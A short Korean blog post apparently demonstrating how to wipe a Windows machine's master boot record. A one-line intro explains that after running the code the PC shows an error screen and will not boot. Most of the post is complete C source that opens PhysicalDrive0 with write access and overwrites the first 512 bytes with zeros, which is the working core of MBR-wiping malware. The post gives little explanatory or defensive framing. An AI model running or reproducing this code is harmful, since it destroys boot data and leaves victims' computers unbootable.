MBR 을 00000000 ... 으로 초기화 시키는 코드 실행하고 컴퓨터를 다시 킬 경우 아래와 같은 창을 볼 수 있으며 부팅이 되지 않는다.
#include <stdio.h>
#include <windows.h>
#pragma pack(1)
typedef struct _DOS_PARTITION_STRUCT {
unsigned char IsBootable; // 부트 가능하면 0x80, 부트 불가능하면 0x00
unsigned char CHSOffset[3]; // CHS(Cylinder-Head-Sector)로 표현되는 실제 파티션 주소
unsigned char PartitionType; // 파티션 유형 (ex: FAT32=0x0C, NTFS=0x07, ...)
unsigned char EndCHSOffset[3]; // CHS 주소로 표현되는 파티션의 끝 지점
unsigned long LBAOffset; // LBA(Logical Block Addressing)로 표현되는 파티션 주소
unsigned long SizeInSector; // 파티션이 사용하는 섹터(LBA)의 총 개수
} DOS_PARTITION_STRUCT, *PDOS_PARTITION_STRUCT;
#pragma pack()
#define MBR_PartitionTableOffset 0x1BEL
int main(void)
{
HANDLE hPhysicalDrive = NULL;
LONG highPos = 0;
BYTE MasterBootRecord[512] = {0};
DWORD lBytesRead = 0;
hPhysicalDrive = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hPhysicalDrive == INVALID_HANDLE_VALUE)
{
printf("[!] Disk Open Error! (LastErr=0x%08lX)\n", GetLastError ());
return 1L;
}
SetFilePointer(hPhysicalDrive, 0L, &highPos, FILE_BEGIN); // 사실상 이 부분은 하지 않아도 된다.
WriteFile(hPhysicalDrive, MasterBootRecord, 512, &lBytesRead, NULL);
CloseHandle(hPhysicalDrive);
return 0L;
}
댓글을 달아 주세요